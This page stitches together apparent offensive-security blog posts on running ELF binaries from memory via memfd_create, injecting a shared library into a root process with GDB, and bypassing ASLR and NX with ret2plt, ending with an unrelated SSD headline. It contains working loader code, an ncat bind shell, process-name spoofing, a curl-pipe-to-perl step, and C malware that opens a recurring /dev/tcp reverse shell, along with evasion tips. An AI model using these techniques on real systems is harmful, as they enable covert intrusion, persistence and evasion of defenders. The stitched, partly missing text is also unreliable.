In-Memory-Only ELF Execution (Without tmpfs)

In which we run a normal ELF binary on Linux without touching the filesystem (except 

/proc

).

Introduction

Every so often, it’s handy to execute an ELF binary without touching disk. Normally, putting it somewhere under 

/run/user

 or something else backed by tmpfs works just fine, but, outside of disk forensics, that looks like a regular file operation. Wouldn’t it be cool to just grab a chunk of memory, put our binary in there, and run it without monkey-patching the kernel, rewriting 

execve(2)

 in userland, or loading a library into another process?

Enter 

memfd_create(2)

. This handy little system call is something like 

malloc(3)

, but instead of returning a pointer to a chunk of memory, it returns a file descriptor which refers to an anonymous (i.e. memory-only) file. This is only visible in the filesystem as a symlink in 

/proc/<PID>/fd/

 (e.g. 

/proc/10766/fd/3

), which, as it turns out, 

execve(2)

 will happily use to execute an ELF binary.

The manpage has the following to say on the subject of naming anonymous files:

The name supplied in 

name

 [an argument to 

memfd_create(2)

] is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory 

/proc/self/fd/

. The displayed name is always prefixed with 

memfd:

 and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.

In other words, we can give it a name (to which 

memfd:

 will be prepended), but what we call it doesn’t really do anything except help debugging (or forensicing). We can even give the anonymous file an empty name.

Listing 

/proc/<PID>/fd

, anonymous files look like this:


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /proc/10766/fd
total 0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 0 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 1 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 2 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 3 -&gt; /memfd:kittens <span class="o">(</span>deleted<span class="o">)</span>
lrwx------ 1 stuart stuart 64 Mar 30 23:23 4 -&gt; /memfd: <span class="o">(</span>deleted<span class="o">)</span>

Here we see two anonymous files, one named 

kittens

 and one without a name at all. The 

(deleted)

 is inaccurate and looks a bit weird but c’est la vie.

Caveats

Unless we land on target with some way to call 

memfd_create(2)

, from our initial vector (e.g. injection into a Perl or Python program with 

eval()

), we’ll need a way to execute system calls on target. We could drop a binary to do this, but then we’ve failed to acheive fileless ELF execution. Fortunately, Perl’s 

syscall()

 solves this problem for us nicely.

We’ll also need a way to write an entire binary to the target’s memory as the contents of the anonymous file. For this, we’ll put it in the source of the script we’ll write to do the injection, but in practice pulling it down over the network is a viable alternative.

As for the binary itself, it has to be, well, a binary. Running scripts starting with 

#!/interpreter

 doesn’t seem to work.

The last thing we need is a sufficiently new kernel. Anything version 3.17 (released 05 October 2014) or later will work. We can find the target’s kernel version with 

uname -r

.


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>uname <span class="nt">-r</span>
4.4.0-116-generic

On Target

Aside 

execve(2)

ing an anonymous file instead of a regular filesystem file and doing it all in Perl, there isn’t much difference from starting any other program. Let’s have a look at the system calls we’ll use.

memfd_create(2)

Much like a memory-backed 

fd = open(name, O_CREAT|O_RDWR, 0700)

, we’ll use the 

memfd_create(2)

 system call to make our anonymous file. We’ll pass it the 

MFD_CLOEXEC

 flag (analogous to 

O_CLOEXEC

), so that the file descriptor we get will be automatically closed when we 

execve(2)

 the ELF binary.

Because we’re using Perl’s 

syscall()

 to call the 

memfd_create(2)

, we don’t have easy access to a user-friendly libc wrapper function or, for that matter, a nice human-readable 

MFD_CLOEXEC

 constant. Instead, we’ll need to pass 

syscall()

 the raw system call number for 

memfd_create(2)

 and the numeric constant for 

MEMFD_CLOEXEC

. Both of these are found in header files in 

/usr/include

. System call numbers are stored in 

#define

s starting with 

__NR_

.


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:/usr/include<span class="nv">$ </span>egrep <span class="nt">-r</span> <span class="s1">'__NR_memfd_create|MFD_CLOEXEC'</span> <span class="k">*</span>
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL<span class="o">(</span>__NR_memfd_create, sys_memfd_create<span class="o">)</span>
linux/memfd.h:#define MFD_CLOEXEC               0x0001U
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create <span class="o">(</span>__X32_SYSCALL_BIT + 319<span class="o">)</span>
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create

Looks like 

memfd_create(2)

 is system call number 319 on 64-bit Linux (

#define __NR_memfd_create

 in a file with a name ending in 

_64.h

), and 

MFD_CLOEXEC

 is a consatnt 

0x0001U

 (i.e. 1, in 

linux/memfd.h

). Now that we’ve got the numbers we need, we’re almost ready to do the Perl equivalent of C’s 

fd = memfd_create(name, MFD_CLOEXEC)

 (or more specifically, 

fd = syscall(319, name, MFD_CLOEXEC)

).

The last thing we need is a name for our file. In a file listing, 

/memfd:

 is probably a bit better-looking than 

/memfd:kittens

, so we’ll pass an empty string to 

memfd_create(2)

 via 

syscall()

. Perl’s 

syscall()

 won’t take string literals (due to passing a pointer under the hood), so we make a variable with the empty string and use it instead.

Putting it together, let’s finally make our anonymous file:


<span class="k">my</span> <span class="nv">$name</span> <span class="o">=</span> <span class="s">""</span><span class="p">;</span>
<span class="k">my</span> <span class="nv">$fd</span> <span class="o">=</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">319</span><span class="p">,</span> <span class="nv">$name</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$fd</span><span class="p">)</span> <span class="p">{</span>
        <span class="nb">die</span> <span class="s">"memfd_create: $!"</span><span class="p">;</span>
<span class="p">}</span>

We now have a file descriptor number in 

$fd

. We can wrap that up in a Perl one-liner which lists its own file descriptors after making the anonymous file:


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>perl <span class="nt">-e</span> <span class="s1">'$n="";die$!if-1==syscall(319,$n,1);print`ls -l /proc/$$/fd`'</span>
total 0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 0 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 1 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 2 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 3 -&gt; /memfd: <span class="o">(</span>deleted<span class="o">)</span>

write(2)

Now that we have an anonymous file, we need to fill it with ELF data. First we’ll need to get a Perl filehandle from a file descriptor, then we’ll need to get our data in a format that can be written, and finally, we’ll write it.

Perl’s 

open()

, which is normally used to open files, can also be used to turn an already-open file descriptor into a file handle by specifying something like 

&gt;&amp;=X

 (where X is a file descriptor) instead of a file name. We’ll also want to enable autoflush on the new file handle:


<span class="nb">open</span><span class="p">(</span><span class="k">my</span> <span class="nv">$FH</span><span class="p">,</span> <span class="s">'&gt;&amp;='</span><span class="o">.</span><span class="nv">$fd</span><span class="p">)</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"open: $!"</span><span class="p">;</span>
<span class="nb">select</span><span class="p">((</span><span class="nb">select</span><span class="p">(</span><span class="nv">$FH</span><span class="p">),</span> <span class="vg">$|</span><span class="o">=</span><span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">]);</span>

We now have a file handle which refers to our anonymous file.

Next we need to make our binary available to Perl, so we can write it to the anonymous file. We’ll turn the binary into a bunch of Perl print statements of which each write a chunk of our binary to the anonymous file.


perl <span class="nt">-e</span> <span class="s1">'$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(&lt;&gt;)'</span> ./elfbinary

This will give us many, many lines similar to:


<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/7f454c4602010100000000000000000002003e0001000000304f450000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/4000000000000000c80100000000000000000000400038000700400017000300/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/0600000004000000400000000000000040004000000000004000400000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>

Exceuting those puts our ELF binary into memory. Time to run it.

Optional: 

fork(2)

Ok, 

fork(2)

 is isn’t actually a system call; it’s really a libc function which does all sorts of stuff under the hood. Perl’s 

fork()

 is functionally identical to libc’s as far as process-making goes: once it’s called, there are now two nearly identical processes running (of which one, usually the child, often finds itself calling 

exec(2)

). We don’t actually have to spawn a new process to run our ELF binary, but if we want to do more than just run it and exit (say, run it multiple times), it’s the way to go. In general, using 

fork()

 to spawn multiple children looks something like:


<span class="k">while</span> <span class="p">(</span><span class="nv">$keep_going</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
                <span class="nb">die</span> <span class="s">"fork: $!"</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child</span>
                <span class="c1"># Do child things here</span>
                <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
<span class="p">}</span>

Another handy use of 

fork()

, especially when done twice with a call to 

setsid(2)

 in the middle, is to spawn a disassociated child and let the parent terminate:


<span class="c1"># Spawn child</span>
<span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
        <span class="nb">die</span> <span class="s">"fork1: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Parent terminates</span>
        <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the child, become session leader</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">112</span><span class="p">))</span> <span class="p">{</span>
        <span class="nb">die</span> <span class="s">"setsid: $!"</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1"># Spawn grandchild</span>
<span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
        <span class="nb">die</span> <span class="s">"fork2: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child terminates</span>
        <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the grandchild here, do grandchild things</span>

We can now have our ELF process run multiple times or in a separate process. Let’s do it.

execve(2)

Linux process creation is a funny thing. Ever since the early days of Unix, process creation has been a combination of not much more than duplicating a current process and swapping out the new clone’s program with what should be running, and on Linux it’s no different. The 

execve(2)

 system call does the second bit: it changes one running program into another. Perl gives us 

exec()

, which does more or less the same, albiet with easier syntax.

We pass to 

exec()

 two things: the file containing the program to execute (i.e. our in-memory ELF binary) and a list of arguments, of which the first element is usually taken as the process name. Usually, the file and the process name are the same, but since it’d look bad to have 

/proc/&lt;PID&gt;/fd/3

 in a process listing, we’ll name our process something else.

The syntax for calling 

exec()

 is a bit odd, and explained much better in the documentation. For now, we’ll take it on faith that the file is passed as a string in curly braces and there follows a comma-separated list of process arguments. We can use the variable 

$$

 to get the pid of our own Perl process. For the sake of clarity, the following assumes we’ve put 

ncat

 in memory, but in practice, it’s better to use something which takes arguments that don’t look like a backdoor.


<span class="nb">exec</span> <span class="p">{</span><span class="s">"/proc/$$/fd/$fd"</span><span class="p">}</span> <span class="s">"kittens"</span><span class="p">,</span> <span class="s">"-kvl"</span><span class="p">,</span> <span class="s">"4444"</span><span class="p">,</span> <span class="s">"-e"</span><span class="p">,</span> <span class="s">"/bin/sh"</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"exec: $!"</span><span class="p">;</span>

The new process won’t have the anonymous file open as a symlink in 

/proc/&lt;PID&gt;/fd

, but the anonymous file will be visible as the

/proc/&lt;PID&gt;/exe

 symlink, which normally points to the file containing the program which is being executed by the process.

We’ve now got an ELF binary running without putting anything on disk or even in the filesystem.

Scripting it

It’s not likely we’ll have the luxury of being able to sit on target and do all of the above by hand. Instead, we’ll pipe the script (

elfload.pl

 in the example below) via SSH to Perl’s stdin, and use a bit of shell trickery to keep 

perl

 with no arguments from showing up in the process list:


<span class="nb">cat</span> ./elfload.pl | ssh user@target /bin/bash <span class="nt">-c</span> <span class="s1">'"exec -a /sbin/iscsid perl"'</span>

This will run Perl, renamed in the process list to 

/sbin/iscsid

 with no arguments. When not given a script or a bit of code with 

-e

, Perl expects a script on stdin, so we send the script to perl stdin via our local SSH client. The end result is our script is run without touching disk at all.

Without creds but with access to the target (i.e. after exploiting on), in most cases we can probably use the devopsy 

curl http://server/elfload.pl | perl

 trick (or intercept someone doing the trick for us). As long as the script makes it to Perl’s stdin and Perl gets an EOF when the script’s all read, it doesn’t particularly matter how it gets there.

Artifacts

Once running, the only real difference between a program running from an anonymous file and a program running from a normal file is the 

/proc/&lt;PID&gt;/exe

 symlink.

If something’s monitoring system calls (e.g. someone’s running 

strace -f

 on sshd), the 

memfd_create(2)

 calls will stick out, as will passing paths in 

/proc/&lt;PID&gt;/fd

 to 

execve(2)

.

Other than that, there’s very little evidence anything is wrong.

Demo

To see this in action, have a look at this asciicast. asciicast

In C (translate to your non-disk-touching language of choice):

  1. fd = memfd_create("", MFD_CLOEXEC);
  2. write(pid, elfbuffer, elfbuffer_len);
  3. asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);

Process Injection with GDB

Inspired by excellent CobaltStrike training, I set out to work out an easy way to inject into processes in Linux. There’s been quite a lot of experimentation with this already, usually using 

ptrace(2)

 or

LD_PRELOAD

, but I wanted something a little simpler and less error-prone, perhaps trading ease-of-use for flexibility and works-everywhere. Enter GDB and shared object files (i.e. libraries).

GDB, for those who’ve never found themselves with a bug unsolvable with lots of well-placed 

printf("Here\n")

 statements, is the GNU debugger. It’s typical use is to poke at a runnnig process for debugging, but it has one interesting feature: it can have the debugged process call library functions. There are two functions which we can use to load a library into to the program: 

dlopen(3)

from libdl, and 

__libc_dlopen_mode

, libc’s implementation. We’ll use 

__libc_dlopen_mode

 because it doesn’t require the host process to have libdl linked in.

In principle, we could load our library and have GDB call one of its functions. Easier than that is to have the library’s constructor function do whatever we would have done manually in another thread, to keep the amount of time the process is stopped to a minimum. More below.

Caveats

Trading flexibility for ease-of-use puts a few restrictions on where and how we can inject our own code. In practice, this isn’t a problem, but there are a few gotchas to consider.

ptrace(2)

We’ll need to be able to attach to the process with 

ptrace(2)

, which GDB uses under the hood. Root can usually do this, but as a user, we can only attach to our own processes. To make it harder, some systems only allow processes to attach to their children, which can be changed via a sysctl. Changing the sysctl requires root, so it’s not very useful in practice. Just in case:


sysctl kernel.yama.ptrace_scope<span class="o">=</span>0
<span class="c"># or</span>
<span class="nb">echo </span>0 <span class="o">&gt;</span> /proc/sys/kernel/yama/ptrace_scope

Generally, it’s better to do this as root.

Stopped Processes

When GDB attaches to a process, the process is stopped. It’s best to script GDB’s actions beforehand, either with 

-x

 and 

--batch

 or 

echo

ing commands to GDB minimize the amount of time the process isn’t doing whatever it should be doing. If, for whatever reason, GDB doesn’t restart the process when it exits, sending the process 

SIGCONT

 should do the trick.


<span class="nb">kill</span> <span class="nt">-CONT</span> &lt;PID&gt;

Process Death

Once our library’s loaded and running, anything that goes wrong with it (e.g. segfaults) affects the entire process. Likewise, if it writes output or sends messages to syslog, they’ll show up as coming from the process. It’s not a bad idea to use the injected library as a loader to spawn actual malware in new proceses.

On Target

With all of that in mind, let’s look at how to do it. We’ll assume ssh access to a target, though in principle this can (should) all be scripted and can be run with shell/sql/file injection or whatever other method.

Process Selection

First step is to find a process into which to inject. Let’s look at a process listing, less kernel threads:


root@ubuntu-s-1vcpu-1gb-nyc1-01:~# ps -fxo pid,user,args | egrep -v ' \[\S+\]$'
  PID USER     COMMAND
    1 root     /sbin/init
  625 root     /lib/systemd/systemd-journald
  664 root     /sbin/lvmetad -f
  696 root     /lib/systemd/systemd-udevd
 1266 root     /sbin/iscsid
 1267 root     /sbin/iscsid
 1273 root     /usr/lib/accountsservice/accounts-daemon
 1278 root     /usr/sbin/sshd -D
 1447 root      \_ sshd: root@pts/1
 1520 root          \_ -bash
 1538 root              \_ ps -fxo pid,user,args
 1539 root              \_ grep -E --color=auto -v  \[\S+\]$
 1282 root     /lib/systemd/systemd-logind
 1295 root     /usr/bin/lxcfs /var/lib/lxcfs/
 1298 root     /usr/sbin/acpid
 1312 root     /usr/sbin/cron -f
 1316 root     /usr/lib/snapd/snapd
 1356 root     /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
 1358 root     /usr/lib/policykit-1/polkitd --no-debug
 1413 root     /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
 1415 root     /sbin/agetty --noclear tty1 linux
 1449 root     /lib/systemd/systemd --user
 1451 root      \_ (sd-pam)

Some good choices in there. Ideally we’ll use a long-running process which nobody’s going to want to kill. Processes with low pids tend to work nicely, as they’re started early and nobody wants to find out what happens when they die. It’s helpful to inject into something running as root to avoid having to worry about permissions. Even better is a process that nobody wants to kill but which isn’t doing anything useful anyway.

In some cases, something short-lived, killable, and running as a user is good if the injected code only needs to run for a short time (e.g. something to survey the box, grab creds, and leave) or if there’s a good chance it’ll need to be stopped the hard way. It’s a judgement call.

We’ll use 

664 root /sbin/lvmetad -f

. It should be able to do anything we’d like and if something goes wrong we can restart it, probably without too much fuss.

Malware

More or less any linux shared object file can be injected. We’ll make a small one for demonstration purposes, but I’ve injected multi-megabyte backdoors written in Go as well. A lot of the fiddling that went into making this blog post was done using pcapknock.

For the sake of simplicity, we’ll use the following. Note that a lot of error handling has been elided for brevity. In practice, getting meaningful error output from injected libraries’ constructor functions isn’t as straightforward as a simple 

warn("something"); return;

 unless you really trust the standard error of your victim process.


<span class="cp">#include &lt;pthread.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
</span>
<span class="cp">#define SLEEP  120                    </span><span class="cm">/* Time to sleep between callbacks */</span><span class="cp">
#define CBADDR "&lt;REDACTED&gt;"           </span><span class="cm">/* Callback address */</span><span class="cp">
#define CBPORT "4444"                 </span><span class="cm">/* Callback port */</span>

<span class="cm">/* Reverse shell command */</span>
<span class="cp">#define CMD "echo 'exec &gt;&amp;/dev/tcp/"\
            CBADDR "/" CBPORT "; exec 0&gt;&amp;1' | /bin/bash"
</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">callback</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">a</span><span class="p">);</span>

<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span> <span class="cm">/* Run this function on library load */</span>
<span class="kt">void</span> <span class="n">start_callbacks</span><span class="p">(){</span>
        <span class="n">pthread_t</span> <span class="n">tid</span><span class="p">;</span>
        <span class="n">pthread_attr_t</span> <span class="n">attr</span><span class="p">;</span>

        <span class="cm">/* Start thread detached */</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="n">pthread_attr_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">))</span> <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="n">pthread_attr_setdetachstate</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span>
                                <span class="n">PTHREAD_CREATE_DETACHED</span><span class="p">))</span> <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="cm">/* Spawn a thread to do the real work */</span>
        <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span> <span class="n">callback</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>

<span class="cm">/* callback tries to spawn a reverse shell every so often.  */</span>
<span class="kt">void</span> <span class="o">*</span>
<span class="n">callback</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">a</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span>
                <span class="cm">/* Try to spawn a reverse shell */</span>
                <span class="n">system</span><span class="p">(</span><span class="n">CMD</span><span class="p">);</span>
                <span class="cm">/* Wait until next shell */</span>
                <span class="n">sleep</span><span class="p">(</span><span class="n">SLEEP</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>

In a nutshell, this will spawn an unencrypted, unauthenticated reverse shell to a hardcoded address and port every couple of minutes. The 

__attribute__((constructor))

 applied to 

start_callbacks()

 causes it to run when the library is loaded. All 

start_callbacks()

 does is spawn a thread to make reverse shells.

Building a library is similar to building any C program, except that 

-fPIC

 and 

-shared

 must be given to the compiler.


cc <span class="nt">-O2</span> <span class="nt">-fPIC</span> <span class="nt">-o</span> libcallback.so ./callback.c <span class="nt">-lpthread</span> <span class="nt">-shared</span>

It’s not a bad idea to optimize the output with 

-O2

 to maybe consume less CPU time. Of course, on a real engagement the injected library will be significantly more complex than this example.

Injection

Now that we have the injectable library created, we can do the deed. First thing to do is start a listener to catch the callbacks:


nc <span class="nt">-nvl</span> 4444 <span class="c">#OpenBSD netcat ftw!</span>
__libc_dlopen_mode

 takes two arguments, the path to the library and flags as an integer. The path to the library will be visible, so it’s best to put it somewhere inconspicuous, like 

/usr/lib

. We’ll use 

2

 for the flags, which corresponds to 

dlopen(3)

’s 

RTLD_NOW

. To get GDB to cause the process to run the function, we’ll use GDB’s 

print

 command, which conviently gives us the function’s return value. Instead of typing the command into GDB, which takes eons in program time, we’ll echo it into GDB’s standard input. This has the nice side-effect of causing GDB to exit without needing a 

quit

command.


root@ubuntu-s-1vcpu-1gb-nyc1-01:~# <span class="nb">echo</span> <span class="s1">'print __libc_dlopen_mode("/root/libcallback.so", 2)'</span> | gdb <span class="nt">-p</span> 664
GNU gdb <span class="o">(</span>Ubuntu 7.11.1-0ubuntu1~16.5<span class="o">)</span> 7.11.1
Copyright <span class="o">(</span>C<span class="o">)</span> 2016 Free Software Foundation, Inc.
...snip...
0x00007f6ca1cf75d3 <span class="k">in select</span> <span class="o">()</span> at ../sysdeps/unix/syscall-template.S:84
84      ../sysdeps/unix/syscall-template.S: No such file or directory.
<span class="o">(</span>gdb<span class="o">)</span> <span class="o">[</span>New Thread 0x7f6c9bfff700 <span class="o">(</span>LWP 1590<span class="o">)]</span>
<span class="nv">$1</span> <span class="o">=</span> 312536496
<span class="o">(</span>gdb<span class="o">)</span> quit
A debugging session is active.

        Inferior 1 <span class="o">[</span>process 664] will be detached.

Quit anyway? <span class="o">(</span>y or n<span class="o">)</span> <span class="o">[</span>answered Y<span class="p">;</span> input not from terminal]
Detaching from program: /sbin/lvmetad, process 664

Checking netcat, we’ve caught the callback:


<span class="o">[</span>stuart@c2server:/home/stuart]
<span class="nv">$ </span>nc <span class="nt">-nvl</span> 4444
Connection from &lt;REDACTED&gt; 50184 received!
ps <span class="nt">-fxo</span> pid,user,args
...snip...
  664 root     /sbin/lvmetad <span class="nt">-f</span>
 1591 root      <span class="se">\_</span> sh <span class="nt">-c</span> <span class="nb">echo</span> <span class="s1">'exec &gt;&amp;/dev/tcp/&lt;REDACTED&gt;/4444; exec 0&gt;&amp;1'</span> | /bin/bash
 1593 root          <span class="se">\_</span> /bin/bash
 1620 root              <span class="se">\_</span> ps <span class="nt">-fxo</span> pid,user,args
...snip...

That’s it, we’ve got execution in another process.

If the injection had failed, we’d have seen 

$1 = 0

, indicating

__libc_dlopen_mode

 returned 

NULL

.

Artifacts

There are several places defenders might catch us. The risk of detection can be minimized to a certain extent, but without a rootkit, there’s always some way to see we’ve done something. Of course, the best way to hide is to not raise suspicions in the first place.

Process listing

A process listing like the one above will show that the process into which we’ve injected malware has funny child processes. This can be avoided by either having the library doule-fork a child process to do the actual work or having the injected library do everything from within the victim process.

Files on disk

The loaded library has to start on disk, which leaves disk artifacts, and the original path to the library is visible in 

/proc/pid/maps

:


root@ubuntu-s-1vcpu-1gb-nyc1-01:~# <span class="nb">cat</span> /proc/664/maps                                                      
...snip...
7f6ca0650000-7f6ca0651000 r-xp 00000000 fd:01 61077    /root/libcallback.so                        
7f6ca0651000-7f6ca0850000 <span class="nt">---p</span> 00001000 fd:01 61077    /root/libcallback.so                        
7f6ca0850000-7f6ca0851000 r--p 00000000 fd:01 61077    /root/libcallback.so
7f6ca0851000-7f6ca0852000 rw-p 00001000 fd:01 61077    /root/libcallback.so            
...snip...

If we delete the library, 

(deleted)

 is appended to the filename (i.e.

/root/libcallback.so (deleted)

), which looks even weirder. This is somewhat mitigated by putting the library somewhere libraries normally live, like 

/usr/lib

, and naming it something normal-looking.

Service disruption

Loading the library stops the running process for a short amount of time, and if the library causes process instability, it may crash the process or at least cause it to log warning messages (on a related note, don’t inject into 

systemd(1)

, it causes segfaults and makes 

shutdown(8)

 hang the box).

Process injection on Linux is reasonably easy:

  1. Write a library (shared object file) with a constructor.
  2. Load it with 
    echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p &lt;PID&gt;

Bypass ASLR+NX Part 1

Hi guys today i will explain how to bypass ASLR and NX mitigation technique if you dont have any knowledge about ASLR and NX you can read it in Above link i will explain it but not in depth

ASLR:Address Space Layout randomization : it’s mitigation to technique to prevent exploitation of memory by make Address randomize not fixed as we saw in basic buffer overflow exploit it need to but start of buffer in EIP and Redirect execution to execute your shellcode but when it’s random it will make it hard to guess that start of buffer random it’s only in shared library address we found ASLR in stack address ,Heap Address.

NX: Non-Executable it;s another mitigation use to prevent memory from execute any machine code(shellcode) as we saw in basic buffer overflow  you  put shellcode in stack and redirect EIP to begin of buffer to execute it but this will not work here this mitigation could be bypass by Ret2libc exploit technique use function inside binary pass it to stack and aslo they are another way   depend on gadgets inside binary or shared library this technique is ROP Return Oriented Programming i will  make separate article .

After we get little info about ASLR and NX now it’s time to see how we can bypass it, to bypass ASLR there are many ways like Ret2PLT use Procedural Linkage Table contains a stub code for each global function. A call instruction in text segment doesnt call the function (‘function’) directly instead it calls the stub code(func@PLT) why we use Return in PLT because it’not randomized  it’s address know before execution itself  another technique is overwrite GOT and  brute-forcing this technique use when the address partial randomized like 2 or 3 bytes just randomized .

in this article i will explain technique combine Ret2plt and some ROP gadgets and Ret2libc see let divided it
first find Ret2PLT

vulnerable code

we compile it with following Flags

now let check ASLR it’s enable it

 

as you see in above image libc it’s randomized but it could be brute-force it

now let open file in gdb

now it’s clear NX was enable it now let fuzzing binary .

we create pattern and we going to pass to  binary  to detect where overflow occur

 

 

now we can see they are pattern in EIP we use another tool to find where overflow occurred.

1028 to overwrite EBP if we add 4bytes we going control EIP and we can redirect our execution.

 

now we have control EIP .

ok after we do basic overflow steps now we need way let us to bypass ASLR+NX .

first find functions PLT in binary file.

we find strcpy and system PLT now how we going to build our exploit depend on two methods just.
second we must find writable section in binary file to fill it and use system like to we did in traditional Ret2libc.

first think in .bss section is use by compilers and linkers for the  part  of the data segment containing static allocated variables that are not initialized .

after that we will use strcpy to write string in .bss address but what address ?
ok let back to function we find it in PLT strcpy as we know we will be use to write string and system to execute command but will can;t find /bin/sh in binary file we have another way is to look at binary.

now we have string address  it’s time to combine all pieces we found it.

1-use strcpy to copy from SRC to DEST SRC in this case it’s our string «sh» and DEST   it’s our writable area «.bss» but we need to chain two method strcpy and system we look for gadgets depend on our parameters in this case just we need pop pop ret.

we chose 0x080484ba does’t matter  register name  we need just two pop .
2-after we write string  we use system like we use it in Ret2libc but in this case «/bin/sh» will be .bss address.

final payload

strcpy+ppr+.bss+s
strcpy+ppr+.bss+1+h
system+dump+.bss

Final Exploit

 

we got Shell somtime you need to chain many technique to get final exploit to bypass more than one mitigation.

Best SSDs: Q2 2018

 

